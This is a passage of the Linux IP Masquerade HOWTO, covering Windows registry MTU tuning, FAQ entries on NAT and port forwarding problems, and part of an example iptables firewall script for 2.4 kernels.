        name="DefaultRcvWindow"    (Do NOT include the quotes)
        value=32768 (Decimal)      (Do NOT include the text "(Decimal>")

        type=STRING
        name="DefaultTTL"          (Do NOT include the quotes)
        value=128 (Decimal)        (Do NOT include the text "(Decimal>")

6. Reboot to let the changes take effect.
------------------------------------------

7.15.7. MS Windows NT 4.x

------------------------------------------
1. Making ANY changes to the Registry is inheritantly risky but
   with a backup copy, you should be safe.  Proceed at your
   OWN RISK.

2. Goto Start-->Run-->RegEdit

3. Registry-->Export Registry File-->Save a copy of your registry
   to a reliable place

4. Create the following keys in the Registry trees, choose two
   possible Registry trees.  Multiple entries are for various
   network devices like DialUp Networking (ppp), Ethernet NICs,
   PPTP VPNs, etc.

   http://support.microsoft.com/support/kb/articles/Q102/9/73.asp?LN=EN-US&SD=gn&FR=0

   [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Parameters\Tcpip]
                     and
   [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\<Adapter-name>\Parameters\Tcpip]

      Replace "<Adapter-Name>" with the respective name of your uplink LAN NIC
      interface

         type=DWORD
         name="MTU"              (Do NOT include the quotes)
         value=1490 (Decimal)    (Do NOT include the text "(Decimal>")

       (Do NOT include the quotes)

 *** If you know how to also change the MSS, TCP Window Size, and the
 *** TTL parameters in NT 4.x, please email dranch@trinnet.net as I
 *** would love to add it to the HOWTO.

5. Reboot to make the changes take effect.
------------------------------------------

7.15.8. MS Windows 2000

------------------------------------------
1. Making ANY changes to the Registry is inheritantly risky but
   with a backup copy, you should be safe.  Proceed at your
   OWN RISK.

2. Goto Start-->Run-->RegEdit

3. Registry-->Export Registry File-->Save a copy of your registry
   to a reliable place

4. Navigate down to the key:

   [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Inter
faces\<ID for Adapter>

   Each ID Adapter has default keys for DNS, TCP/IP address, Default Gateway,
   subnet mask, etc. Find the key one that is for your network card.

5. Create the following Entry:

      type=DWORD
      name="MTU"				(Do NOT include the quotes)
      value=1490 (Decimal)      (Do NOT include the text "(Decimal)")

http://support.microsoft.com/support/kb/articles/Q120/6/42.asp?LN=EN-US&SD=gn&FR=0

 *** If you know how to also change the MSS, TCP Window Size, and the
 *** TTL parameters in NT 2000, please email dranch@trinnet.net as I
 *** would love to add it to the HOWTO.

5. Reboot to let the changes take effect.
------------------------------------------

As stated above, if you know how to make similar changes like these to other OSes like OS/2, MacOS, etc. please email David Ranch so it can be included in the HOWTO.

Prev | Home | Next
( Odd Behavior ) - When my Internet connection first comes up, nothing works. If I try again, everything then works fine. Why is this? | Up | ( FTP ) - MASQed FTP clients don't work.


( MULTIPLE IPs ) - I have several EXTERNAL IP addresses that I want to PORTFW to several internal machines. How do I do this?

Linux IP Masquerade HOWTO
Prev Chapter 7. Frequently Asked Questions Next

7.30. ( MULTIPLE IPs ) - I have several EXTERNAL IP addresses that I want to PORTFW to several internal machines. How do I do this?

You DON'T. MASQ is a 1:Many NAT setup, which is the incorrect tool to perform what you are looking for. You are looking for a Many:Many NAT solution, which is the traditional NAT setup. Take a look at Section 7.28 FAQ entry below for more details on the IPROUTE2 tool which would perform what you need.

For users out there who are thinking about enabling multiple IP addresses on one internal NIC using "IP Alias" and then PORTFWed ALL of those ports (0-65535) and use IPROUTE2 to maintain the proper source/destination IP pairs, this has been done SUCCESSFULLY on 2.0.x kernels and less successfully on 2.2.x kernels. Regardless of success, that isn't the proper way to do it and it is not a supported MASQ configuration. Please, give IPROUTE2 a look.. its the right way to do a true NAT.

One thing to also note:

If you have a bridged DSL or Cablemodem connection (not PPPoE), things are a little more difficult because your setup isn't routed. No worries though, check out the "Bridge+Firewall, Linux Bridge+Firewall Mini-HOWTO" on the LDP. It will teach you how to get your Linux box to support multiple IP addresses on a single interface!

Prev | Home | Next
( ACCOUNTING ) - I need to do accounting on who is using the network | Up | ( Netstat ) - I'm trying to use the NETSTAT command to show my Masqueraded connections but its not working


( Multiple-LANs ) - I have two MASQed LANs but they cannot communicate with each other!

Linux IP Masquerade HOWTO
Prev Chapter 7. Frequently Asked Questions Next

7.27. ( Multiple-LANs ) - I have two MASQed LANs but they cannot communicate with each other!

Please see Section 6.5 for full details.

Prev | Home | Next
( IP Aliasing ) - Can IP Masquerade work with only ONE Ethernet network card? | Up | ( SHAPING ) - I want to be able to limit the speed of specific types of traffic


IP Masquerading multiple internal networks

Linux IP Masquerade HOWTO
Prev Chapter 6. Other IP Masquerade Issues and Software Support Next

6.5. IP Masquerading multiple internal networks

Masquerading more than one internal network is fairly simple. You need to first make sure that all of your networks are running correctly (both internal and external). You then need to enable traffic to pass to both the other internal interfaces and to be MASQed to the Internet.

Next, you need to enable Masquerading on the INTERNAL interfaces. This example uses a total of THREE interfaces: eth0 is the EXTERNAL connection to the Internet, eth1 is the 192.168.0.0 network, and eth2 is the 192.168.1.0 network. Both eth1 and eth2 will be MASQed out of interface eth0. In your rc.firewall ruleset next to the existing MASQ enable line, add the following:

  • 2.2.x kernels with IPCHAINS
  #Enable internal interfaces to communication between each other
  /sbin/ipchains -A forward -i eth1 -d 192.168.0.0/24 -j ACCEPT
  /sbin/ipchains -A forward -i eth2 -d 192.168.1.0/24 -j ACCEPT

  #Enable internal interfaces to MASQ out to the Internet
  /sbin/ipchains -A forward -j MASQ -i eth0 -s 192.168.0.0/24 -d 0.0.0.0/0
  /sbin/ipchains -A forward -j MASQ -i eth0 -s 192.168.1.0/24 -d 0.0.0.0/0

  • 2.0.x kernels with IPFWADM
  #Enable internal interfaces to communication between each other
  /sbin/ipfwadm -F -a accept -V 192.168.0.1 -D 192.168.1.0/24
  /sbin/ipfwadm -F -a accept -V 192.168.1.1 -D 192.168.0.0/24

  #Enable internal interfaces to MASQ out to the Internet
  /sbin/ipfwadm -F -a masq -W eth0 -S 192.168.0.0/24 -D 0.0.0.0/0
  /sbin/ipfwadm -F -a masq -W eth0 -S 192.168.1.0/24 -D 0.0.0.0/0

Please note that it is CORRECT to have "eth0" specified multiple times for the exmples shown above. The reason for this is the Linux kernel needs to know which interface is used for OUTGOING traffic. Since eth0 in the above examples is the Internet connection, it is listed for each internal interface.

Prev | Home | Next
Stronger firewall rulesets to run after initial testing | Up | IP Masquerade and Dial-on-Demand Connections


( Netstat ) - I'm trying to use the NETSTAT command to show my Masqueraded connections but its not working

Linux IP Masquerade HOWTO
Prev Chapter 7. Frequently Asked Questions Next

7.31. ( Netstat ) - I'm trying to use the NETSTAT command to show my Masqueraded connections but its not working

There might be a problem with the "netstat" program in 2.0.x-based Linux distros. After a Linux reboot, running "netstat -M" works fine but after a MASQed computer runs some successful ICMP traffic like ping, traceroute, etc., you might see something like:

masq_info.c: Internal Error `ip_masquerade unknown type'.

The workaround for this is to use the "/sbin/ipfwadm -M -l" command. You will also notice that once the listed ICMP masquerade entries timeout, "netstat" works again.

Prev | Home | Next
( MULTIPLE IPs ) - I have several EXTERNAL IP addresses that I want to PORTFW to several internal machines. How do I do this? | Up | ( VPNs ) - I would like to get Microsoft PPTP (GRE tunnels) and/or IPSEC (Linux SWAN) tunnels running through IP MASQ


( Free Ports ) - I'm getting "kernel: ip_masq_new(proto=UDP): no free ports." in my SYSLOG files. Whats up?

Linux IP Masquerade HOWTO
Prev Chapter 7. Frequently Asked Questions Next

7.21. ( Free Ports ) - I'm getting "kernel: ip_masq_new(proto=UDP): no free ports." in my SYSLOG files. Whats up?

One of your internal MASQed machines are creating an abnormally high number of packets destined for the Internet. As the IP Masq server builds the MASQ table and forwards these packets out over the Internet, the table is quickly filling. Once the table is filled, it will give you this error.

The only application that I have known which temporarily creates this situation is a gaming program called "GameSpy". Why? Gamespy builds a server list and then pings all of the servers in the list (1000s of game servers). By creating all these pings, it creates 1,000s of quick connections in a VERY short period of time. Until these sessions timeout via the IP MASQ timeouts, the MASQ tables become "FULL".

So what can you do about it? Realistically, don't use programs that do things like this. If you do get this error in your logs, find it and stop using it. If you really like GameSpy, just don't refresh the server too often. Regardless, once you stop running this MASQ'ed program, this MASQ error will go away as these connections will eventually timeout in the MASQ tables.

Prev | Home | Next
( MASQ Security ) - Can I configure IP MASQ to allow Internet users to directly contact internal MASQed servers? | Up | ( SETSOCKOPT ) - I'm getting "ipfwadm: setsockopt failed: Protocol not available" when I try to use IPPORTFW!


( PORTFW ) - IP Masquerading with PORTFWing seems to break when my line is idle for long periods

Linux IP Masquerade HOWTO
Prev Chapter 7. Frequently Asked Questions Next

7.18. ( PORTFW ) - IP Masquerading with PORTFWing seems to break when my line is idle for long periods

If you have a DSL or Cablemodem, this behavior is unfortunately quite common. Basically your ISP is putting your connection into a very low priority queue to better service non-idle connections. The problem is that some enduser's connections will actually be taken OFFLINE until some traffic from the user's DSL/Cablemodem connection awakens the ISP's hardware.

  • Some DSL installations can take an idle connection OFFLINE and only be checked for activity once every 30 seconds or so.

  • Some Cablemodem setups can set an idle connection into a low priority queue and only be checked for activity every minute or so.

What do I recommend to do? Ping your default gateway every 30 seconds. To do this, edit the /etc/rc.d/rc.local file and add the following to the bottom of the file:

         ping -i 30 100.200.212.121 > /dev/null &

Replace the 100.200.212.121 with your default router (upstream router).

Prev | Home | Next
( Performance ) - IP Masquerading seems slow | Up | ( Logs ) - Now that I have IP Masquerading up, I'm getting all sorts of weird notices and errors in the SYSLOG log files. How do I read the IPFWADM/IPCHAINS firewall errors?


Reference

Linux IP Masquerade HOWTO
Prev Chapter 8. Miscellaneous Next

8.4. Reference

  • Original IP masquerade FAQ by Ken Eves

  • IP masquerade mailing list archive by Indyramp Consulting

  • IP Masquerade WWW site by Ambrose Au

  • Ipfwadm page by X/OS

  • Various networking related Linux HOWTOs

  • Some topics covered in TrinityOS by David Ranch

Prev | Home | Next
Thanks to the following supporters.. | Up | Changes


Linux IP Masquerade Resource

Linux IP Masquerade HOWTO
Prev Chapter 8. Miscellaneous Next

8.2. Linux IP Masquerade Resource

The Linux IP Masquerade Resource is a website dedicated to Linux IP Masquerade information also maintained by Ambrose Au. It has the latest information related to IP Masquerade and may have information that is not being included in the HOWTO.

You may find the Linux IP Masquerade Resource at the following locations:

  • http://ipmasq.cjb.net/, Primary Site, redirected to http://ipmasq.cjb.net/

  • http://ipmasq2.cjb.net/, Secondary Site, redirected to http://www.geocities.com/SiliconValley/Heights/2288/

Prev | Home | Next
Useful Resources | Up | Thanks to the following supporters..


( SAMBA ) - Microsoft File and Print Sharing and Microsoft Domain clients don't work through IP Masq! To properly support Microsoft's SMB protocol, an IP Masq module would need to be written but there are three viable work-arounds. For more details, please see this Microsoft KnowledgeBase article.

Linux IP Masquerade HOWTO
Prev Chapter 7. Frequently Asked Questions Next

7.23. ( SAMBA ) - Microsoft File and Print Sharing and Microsoft Domain clients don't work through IP Masq! To properly support Microsoft's SMB protocol, an IP Masq module would need to be written but there are three viable work-arounds. For more details, please see this Microsoft KnowledgeBase article.

The first way to work around this problem is to configure IPPORTFW from Section 6.7 and portfw TCP ports 137, 138, and 139 to the internal Windows machine's IP address. Though this solution works, it would only work for ONE internal machine.

The second solution is to install and configure Samba on the Linux MASQ server. With Samba running, you can then map your internal Windows File and Print shares onto the Samba server. Then, you can mount these newly mounted SMB shares to all of your external clients. Configuring Samba is fully covered in a HOWTO found in a Linux Documentation Project and in the TrinityOS document as well.

The third solution is to configure a VPN (virtual private network) between the two Windows machines or between the two networks. This can either be done via the PPTP or IPSEC VPN solutions. There is a Section 7.32 patch for Linux and also a full IPSEC implementation available for both 2.0.x and 2.2.x kernels. This solution would probably be the most reliable and secure method of all three solutions.

All of these solutions are NOT covered by this HOWTO. I recommend that you look at the TrinityOS documentation for IPSEC help and John Hardin's PPTP page for more information.

Also PLEASE understand that Microsoft's SMB protocol is VERY insecure. Because of this, running either Microsoft File and Print sharing or Windows Domain login traffic over the Internet without any encryption is a VERY BAD idea.

Prev | Home | Next
( SETSOCKOPT ) - I'm getting "ipfwadm: setsockopt failed: Protocol not available" when I try to use IPPORTFW! | Up | ( IDENT ) - IRC won't work properly for MASQed IRC users. Why?


( SETSOCKOPT ) - I'm getting "ipfwadm: setsockopt failed: Protocol not available" when I try to use IPPORTFW!

Linux IP Masquerade HOWTO
Prev Chapter 7. Frequently Asked Questions Next

7.22. ( SETSOCKOPT ) - I'm getting "ipfwadm: setsockopt failed: Protocol not available" when I try to use IPPORTFW!

If you get the error message "ipfwadm: setsockopt failed: Protocol not available", you AREN'T running your new kernel. Make sure that you moved the new kernel over, re-run LILO, and then reboot again.

Please see the end of Section 6.7 for full details.

Prev | Home | Next
( Free Ports ) - I'm getting "kernel: ip_masq_new(proto=UDP): no free ports." in my SYSLOG files. Whats up? | Up | ( SAMBA ) - Microsoft File and Print Sharing and Microsoft Domain clients don't work through IP Masq! To properly support Microsoft's SMB protocol, an IP Masq module would need to be written but there are three viable work-arounds. For more details, please see this Microsoft KnowledgeBase article.


( SHAPING ) - I want to be able to limit the speed of specific types of traffic

Linux IP Masquerade HOWTO
Prev Chapter 7. Frequently Asked Questions Next

7.28. ( SHAPING ) - I want to be able to limit the speed of specific types of traffic

This topic really doesn't have anything to do with IPMASQ and everthing to do with Linux's built-in traffic shaping and rate-limiting. Please see the /usr/src/linux/Documentation/networking/shaper.txt file from your local kernel sources for more details.

You will also find more information about this including several URLs under Section 2.7 for IPROUTE2.

Prev | Home | Next
( Multiple-LANs ) - I have two MASQed LANs but they cannot communicate with each other! | Up | ( ACCOUNTING ) - I need to do accounting on who is using the network


( SMTP Relay ) - Internal MASQed computers cannot send SMTP or POP-3 mail!

Linux IP Masquerade HOWTO
Prev Chapter 7. Frequently Asked Questions Next

7.35. ( SMTP Relay ) - Internal MASQed computers cannot send SMTP or POP-3 mail!

Though this isn't a Masquerading issue but many users do this so it should be mentioned.

SMTP: The issue is that you are probably using your Linux box as an SMTP relay server and get the following error:

"error from mail server: we do not relay"
Newer versions of Sendmail and other Mail Transfer Agents (MTAs) disable relaying by default (this is a good thing). So do the following to fix this:

  • Sendmail: Enable specific relaying for your internal MASQed machines by editing the /etc/sendmail.cw file and add the hostname and domain name of your internal MASQed machine. You should also check to see that the /etc/hosts file has the IP address and Fully Qualified Domain Name (FQDN) configured in it. Once this is done, you need to restart Sendmail for it to re-read its configuration files. This is covered in TrinityOS - Section 25

POP-3: Some users configure their internal MASQ'ed computer's POP-3 clients to connect to some external SMTP server. While this is fine, many SMTP servers out there will try to IDENT your connection on port 113. Most likely your problem stems around your default Masquerade policy being set to DENY. This is BAD. Set it to REJECT and re-run your rc.firewall ruleset.

Prev | Home | Next
( Stops working ) - IP MASQ works fine for a while but then it stops working. A reboot seems to fix this. Why? | Up | ( IPROUTE2 ) - I need different internal MASQed networks to exit on different external IP addresses


( Still wont work ) - I've checked all my configurations, I still can't get IP Masquerade to work. What should I do?

Linux IP Masquerade HOWTO
Prev Chapter 7. Frequently Asked Questions Next

7.4. ( Still wont work ) - I've checked all my configurations, I still can't get IP Masquerade to work. What should I do?

  • Stay calm. Get yourself a cup of tea, coffee, soda, etc., and have a rest. Once your mind is clear, try the suggestions mentioned below. Setting up Linux IP Masquerading is NOT hard but there are several concepts that will be new to you.

  • Again, go through all the steps in Chapter 5. 99% of all first-time Masquerade users who have problems haven't looked here.

  • Check the IP Masquerade Mailing List Archives, most likely your questions or problems are a common one and can be found in a simple Archive search.

  • Check out the TrinityOS document. It covers IP Masquerading for both the 2.0.x and 2.2.x kernels and MANY other topics including PPPd, DialD, DHCP, DNS, Sendmail, etc.

  • Make sure that you aren't running ROUTED or GATED. To verify, run "ps aux | grep -e routed -e gated"

  • Post your question to the IP Masquerade Mailing List (see next the FAQ section for details). Please only use this if you cannot find the answer from the IP Masquerading Archive. Be sure to include all the information requested in Chapter 5 in your email!!

  • Post your question to a related Linux NNTP newsgroup.

  • Send email to ambrose@writeme.com and dranch@trinnet.net. You have a better chance of getting a reply from the IP Masquerading Email list than either of us.

  • Check your configurations again :-)

Prev | Home | Next
( Errors ) - When I run the rc.firewall command, I get "command not found" errors. Why? | Up | ( Email list ) - How do I join or view the IP Masquerade and/or IP Masqurade Developers mailing lists and archives?


Stronger firewall rulesets to run after initial testing

Linux IP Masquerade HOWTO
Prev Chapter 6. Other IP Masquerade Issues and Software Support Next

6.4. Stronger firewall rulesets to run after initial testing

6.4.1. Stronger IP Firewall (IPTABLES) rulesets

<rc.firewall-2.4-stronger START>
#!/bin/sh
#
# rc.firewall-2.4-stronger
FWVER=0.73s

#          An example of a stronger IPTABLES firewall with IP Masquerade
#          support for 2.4.x kernels.
#
# Log:
#   0.73s - Added comments in the output section that DHCPd is optional
#           and changed the default settings to disabled
#   0.72s - Changed the filter from the INTNET to the INTIP to be
#           stateful; moved the command VARs to the top and made the
#           rest of the script to use them
#   0.70s - Added a disabled examples for allowing internal DHCP
#           and external WWW access to the server
#   0.63s - Added support for the IRC module
#   0.62s - Initial version based upon the basic 2.4.x rc.firewall

echo -e "\nLoading STRONGER rc.firewall - version $FWVER..\n"

# The location of various iptables and other shell programs
#
#   If your Linux distribution came with a copy of iptables, most
#   likely it is located in /sbin.  If you manually compiled
#   iptables, the default location is in /usr/local/sbin
#
# ** Please use the "whereis iptables" command to figure out
# ** where your copy is and change the path below to reflect
# ** your setup
#
#IPTABLES=/sbin/iptables
IPTABLES=/usr/local/sbin/iptables
#
LSMOD=/sbin/lsmod
DEPMOD=/sbin/depmod
INSMOD=/sbin/insmod
GREP=/bin/grep
AWK=/bin/awk
SED=/bin/sed
IFCONFIG=/sbin/ifconfig

#Setting the EXTERNAL and INTERNAL interfaces for the network
#
#  Each IP Masquerade network needs to have at least one
#  external and one internal network.  The external network
#  is where the natting will occur and the internal network
#  should preferably be addressed with a RFC1918 private address
#  scheme.
#
#  For this example, "eth0" is external and "eth1" is internal"
#
#  NOTE:  If this doesnt EXACTLY fit your configuration, you must
#         change the EXTIF or INTIF variables above. For example:
#
#               EXTIF="ppp0"
#
#            if you are a modem user.
#
EXTIF="eth0"
INTIF="eth1"
echo "  External Interface:  $EXTIF"
echo "  Internal Interface:  $INTIF"
echo "  ---"

# Specify your Static IP address here or let the script take care of it
# for you.
#
#   If you prefer to use STATIC addresses in your firewalls, un-# out the
#   static example below and # out the dynamic line.  If you don't care,
#   just leave this section alone.
#
#   If you have a DYNAMIC IP address, the ruleset already takes care of
#   this for you.  Please note that the different single and double quote
#   characters and the script MATTER.
#
#
#   DHCP users:
#   -----------
#   If you get your TCP/IP address via DHCP, **you will need ** to enable the
#   #ed out command below underneath the PPP section AND replace the word
#   "eth0" with the name of your EXTERNAL Internet connection (ppp0, ippp0,
#   etc) on the lines for "ppp-ip" and "extip".  You should also note that the
#   DHCP server can and will change IP addresses on you.  To deal with this,
#   users should configure their DHCP client to re-run the rc.firewall ruleset
#   everytime the DHCP lease is renewed.
#
#     NOTE #1:  Some DHCP clients like the original "pump" (the newer
#               versions have been fixed) did NOT have the ability to run
#               scripts after a lease-renew.  Because of this, you need to
#               replace it with something like "dhcpcd" or "dhclient".
#
#     NOTE #2:  The syntax for "dhcpcd" has changed in recent versions.
#
#               Older versions used syntax like:
#                         dhcpcd -c /etc/rc.d/rc.firewall eth0
#
#               Newer versions execute a file called /etc/dhcpc/dhcpcd-eth0.exe
#
#     NOTE #3:  For Pump users, put the following line in /etc/pump.conf:
#
#                   script /etc/rc.d/rc.firewall
#
#   PPP users:
#   ----------
#   If you aren't already aware, the /etc/ppp/ip-up script is always run when
#   a PPP connection comes up.  Because of this, we can make the ruleset go and
#   get the new PPP IP address and update the strong firewall ruleset.
#
#   If the /etc/ppp/ip-up file already exists, you should edit it and add a line
#   containing "/etc/rc.d/rc.firewall" near the end of the file.
#
#   If you don't already have a /etc/ppp/ip-up sccript, you need to create the
#   following link to run the /etc/rc.d/rc.firewall script.
#
#       ln -s /etc/rc.d/rc.firewall /etc/ppp/ip-up
#
#   * You then want to enable the #ed out shell command below *
#
#
# Determine the external IP automatically:
# ----------------------------------------
#
EXTIP="`$IFCONFIG $EXTIF | $GREP 'inet addr' | $AWK '{print $2}' | \
$SED -e 's/.*://'`"

# For users who wish to use STATIC IP addresses:
#
#  # out the EXTIP line above and un-# out the EXTIP line below
#
#EXTIP="your.static.PPP.address"
echo "  External IP: $EXTIP"
echo "  ---"

# Assign the internal TCP/IP network and IP address
INTNET="192.168.1.0/24"
INTIP="192.168.1.1/24"
echo "  Internal Network: $INTNET"
echo "  Internal IP:      $INTIP"
echo "  ---"

# Setting a few other local variables
#
UNIVERSE="0.0.0.0/0"

#======================================================================
#== No editing beyond this line is required for initial MASQ testing ==

# Need to verify that all modules have all required dependencies
#
echo "  - Verifying that all kernel modules are ok"
$DEPMOD -a

echo -en "    Loading kernel modules: "

# With the new IPTABLES code, the core MASQ functionality is now either
# modular or compiled into the kernel.  This HOWTO shows ALL IPTABLES
# options as MODULES.  If your kernel is compiled correctly, there is
# NO need to load the kernel modules manually.
#
#  NOTE: The following items are listed ONLY for informational reasons.
#        There is no reason to manual load these modules unless your
#        kernel is either mis-configured or you intentionally disabled
#        the kernel module autoloader.
#

# Upon the commands of starting up IP Masq on the server, the
# following kernel modules will be automatically loaded:
#
# NOTE:  Only load the IP MASQ modules you need.  All current IP MASQ
#        modules are shown below but are commented out from loading.
# ===============================================================

#Load the main body of the IPTABLES module - "ip_tables"
#  - Loaded automatically when the "iptables" command is invoked
#
#  - Loaded manually to clean up kernel auto-loading timing issues
#
echo -en "ip_tables, "
#
#Verify the module isn't loaded.  If it is, skip it
#
if [ -z "` $LSMOD | $GREP ip_tables | $AWK {'print $1'} `" ]; then
   $INSMOD ip_tables
fi

#Load the IPTABLES filtering module - "iptable_filter"
#
#  - Loaded automatically when filter policies are activated

#Load the stateful connection tracking framework - "ip_conntrack"
#
# The conntrack  module in itself does nothing without other specific
# conntrack modules being loaded afterwards such as the "ip_conntrack_ftp"
# module
#
#  - This module is loaded automatically when MASQ functionality is
#    enabled
#
#  - Loaded manually to clean up kernel auto-loading timing issues
#
echo -en "ip_conntrack, "
#
#Verify the module isn't loaded.  If it is, skip it
#
if [ -z "` $LSMOD | $GREP ip_conntrack | $AWK {'print $1'} `" ]; then
   $INSMOD ip_conntrack
fi

#Load the FTP tracking mechanism for full FTP tracking
#
# Enabled by default -- insert a "#" on the next line to deactivate
#
echo -e "ip_conntrack_ftp, "
#
#Verify the module isn't loaded.  If it is, skip it
#
if [ -z "` $LSMOD | $GREP ip_conntrack_ftp | $AWK {'print $1'} `" ]; then
   $INSMOD ip_conntrack_ftp
fi

#Load the IRC tracking mechanism for full IRC tracking
#
# Enabled by default -- insert a "#" on the next line to deactivate
#
echo -en "                             ip_conntrack_irc, "
#
#Verify the module isn't loaded.  If it is, skip it
#
if [ -z "` $LSMOD | $GREP ip_conntrack_irc | $AWK {'print $1'} `" ]; then
   $INSMOD ip_conntrack_irc
fi

#Load the general IPTABLES NAT code - "iptable_nat"
#  - Loaded automatically when MASQ functionality is turned on
#
#  - Loaded manually to clean up kernel auto-loading timing issues
#
echo -en "iptable_nat, "
#
#Verify the module isn't loaded.  If it is, skip it
#
if [ -z "` $LSMOD | $GREP iptable_nat | $AWK {'print $1'} `" ]; then
   $INSMOD iptable_nat
fi

#Loads the FTP NAT functionality into the core IPTABLES code
# Required to support non-PASV FTP.
#
# Enabled by default -- insert a "#" on the next line to deactivate
#
echo -e "ip_nat_ftp"
#
#Verify the module isn't loaded.  If it is, skip it
#
if [ -z "` $LSMOD | $GREP ip_nat_ftp | $AWK {'print $1'} `" ]; then
   $INSMOD ip_nat_ftp
fi

echo "  ---"

# Just to be complete, here is a list of the remaining kernel modules
# and their function.  Please note that several modules should be only
# loaded by the correct master kernel module for proper operation.
# --------------------------------------------------------------------
#
#    ipt_mark       - this target marks a given packet for future action.
#                     This automatically loads the ipt_MARK module
#
#    ipt_tcpmss     - this target allows to manipulate the TCP MSS
#                     option for braindead remote firewalls.
#                     This automatically loads the ipt_TCPMSS module
#
#    ipt_limit      - this target allows for packets to be limited to
#                     to many hits per sec/min/hr
#
#    ipt_multiport  - this match allows for targets within a range
#                     of port numbers vs. listing each port individually
#
#    ipt_state      - this match allows to catch packets with various
#                     IP and TCP flags set/unset
#
#    ipt_unclean    - this match allows to catch packets that have invalid
#                     IP/TCP flags set
#
#    iptable_filter - this module allows for packets to be DROPped,
#                     REJECTed, or LOGged.  This module automatically
#                     loads the following modules:
#
#                     ipt_LOG - this target allows for packets to be
#                               logged
#
#                     ipt_REJECT - this target DROPs the packet and returns
#                                  a configurable ICMP packet back to the
#                                  sender.
#
#    iptable_mangle - this target allows for packets to be manipulated
#                     for things like the TCPMSS option, etc.

#CRITICAL:  Enable IP forwarding since it is disabled by default since
#
#           Redhat Users:  you may try changing the options in
#                          /etc/sysconfig/network from:
#
#                       FORWARD_IPV4=false
#                             to
#                       FORWARD_IPV4=true
#
echo "  Enabling forwarding.."
echo "1" > /proc/sys/net/ipv4/ip_forward

# Dynamic IP users:
#
#   If you get your IP address dynamically from SLIP, PPP, or DHCP,
#   enable the following option.  This enables dynamic-address hacking
#   which makes the life with Diald and similar programs much easier.
#
echo "  Enabling DynamicAddr.."
echo "1" > /proc/sys/net/ipv4/ip_dynaddr

echo "  ---"

#############################################################################
#
# Enable Stronger IP forwarding and Masquerading
#
#  NOTE:  In IPTABLES speak, IP Masquerading is a form of SourceNAT or SNAT.
#
#  NOTE #2:  The following is an example for an internal LAN address in the
#            192.168.1.x network with a 255.255.255.0 or a "24" bit subnet
#            mask connecting to the Internet on external interface "eth0".
#            This example will MASQ internal traffic out to the Internet
#            but not allow non-initiated traffic into your internal network.
#
#
#         ** Please change the above network numbers, subnet mask, and your
#         *** Internet connection interface name to match your setup
#

#Clearing any previous configuration
#
#  Unless specified, the defaults for INPUT, OUTPUT, and FORWARD to DROP.
#
#    You CANNOT change this to REJECT as it isn't a vaild setting for a
#    policy.  If you want REJECT, you must explictly REJECT at the end
#    of a giving INPUT, OUTPUT, or FORWARD chain
#
echo "  Clearing any existing rules and setting default policy to DROP.."
$IPTABLES -P INPUT DROP
$IPTABLES -F INPUT
$IPTABLES -P OUTPUT DROP
$IPTABLES -F OUTPUT
$IPTABLES -P FORWARD DROP
$IPTABLES -F FORWARD
$IPTABLES -F -t nat

#Not needed and it will only load the unneeded kernel module
#$IPTABLES -F -t mangle
#
# Flush the user chain.. if it exists
if [ -n "`$IPTABLES -L | $GREP drop-and-log-it`" ]; then
   $IPTABLES -F drop-and-log-it
fi
#
# Delete all User-specified chains
$IPTABLES -X
#
# Reset all IPTABLES counters
$IPTABLES -Z

#Configuring specific CHAINS for later use in the ruleset
#
#  NOTE:  Some users prefer to have their firewall silently
#         "DROP" packets while others prefer to use "REJECT"
#         to send ICMP error messages back to the remote
#         machine.  The default is "REJECT" but feel free to
#         change this below.
#
# NOTE: Without the --log-level set to "info", every single
#       firewall hit will goto ALL vtys.  This is a very big
#       pain.
#
echo "  Creating a DROP chain.."
$IPTABLES -N drop-and-log-it
$IPTABLES -A drop-and-log-it -j LOG --log-level info
$IPTABLES -A drop-and-log-it -j DROP

echo -e "\n   - Loading INPUT rulesets"

#######################################################################
# INPUT: Incoming traffic from various interfaces.  All rulesets are
#        already flushed and set to a default policy of DROP.
#

# loopback interfaces are valid.
#
$IPTABLES -A INPUT -i lo -s $UNIVERSE -d $UNIVERSE -j ACCEPT

# local interface, local machines, going anywhere is valid
#
$IPTABLES -A INPUT -i $INTIF -s $INTNET -d $UNIVERSE -j ACCEPT

# remote interface, claiming to be local machines, IP spoofing, get lost
#
$IPTABLES -A INPUT -i $EXTIF -s $INTNET -d $UNIVERSE -j drop-and-log-it

# external interface, from any source, for ICMP traffic is valid
#
#  If you would like your machine to "ping" from the Internet,
#  enable this next line
#
#$IPTABLES -A INPUT -i $EXTIF -p ICMP -s $UNIVERSE -d $EXTIP -j ACCEPT

# remote interface, any source, going to permanent PPP address is valid
#
#$IPTABLES -A INPUT -i $EXTIF -s $UNIVERSE -d $EXTIP -j ACCEPT

# Allow any related traffic coming back to the MASQ server in
#
$IPTABLES -A INPUT -i $EXTIF -s $UNIVERSE -d $EXTIP -m state --state \
ESTABLISHED,RELATED -j ACCEPT

# ----- Begin OPTIONAL Section -----
#

# DHCPd - Enable the following lines if you run an INTERNAL DHCPd server
#
#$IPTABLES -A INPUT -i $INTIF -p tcp --sport 68 --dport 67 -j ACCEPT
#$IPTABLES -A INPUT -i $INTIF -p udp --sport 68 --dport 67 -j ACCEPT

# HTTPd - Enable the following lines if you run an EXTERNAL WWW server
#
#echo -e "      - Allowing EXTERNAL access to the WWW server"
#$IPTABLES -A INPUT -i $EXTIF -m state --state NEW,ESTABLISHED,RELATED \
#-p tcp -s $UNIVERSE -d $EXTIP --dport 80 -j ACCEPT

#
# ----- End OPTIONAL Section -----

# Catch all rule, all other incoming is denied and logged.
#
$IPTABLES -A INPUT -s $UNIVERSE -d $UNIVERSE -j drop-and-log-it

echo -e "   - Loading OUTPUT rulesets"

#######################################################################
# OUTPUT: Outgoing traffic from various interfaces.  All rulesets are
#         already flushed and set to a default policy of DROP.
#

# loopback interface is valid.
#
$IPTABLES -A OUTPUT -o lo -s $UNIVERSE -d $UNIVERSE -j ACCEPT

# local interfaces, any source going to local net is valid
#
$IPTABLES -A OUTPUT -o $INTIF -s $EXTIP -d $INTNET -j ACCEPT

# local interface, any source going to local net is valid
#
$IPTABLES -A OUTPUT -o $INTIF -s $INTIP -d $INTNET -j ACCEPT

# outgoing to local net on remote interface, stuffed routing, deny
#
$IPTABLES -A OUTPUT -o $EXTIF -s $UNIVERSE -d $INTNET -j drop-and-log-it

# anything else outgoing on remote interface is valid
#
$IPTABLES -A OUTPUT -o $EXTIF -s $EXTIP -d $UNIVERSE -j ACCEPT

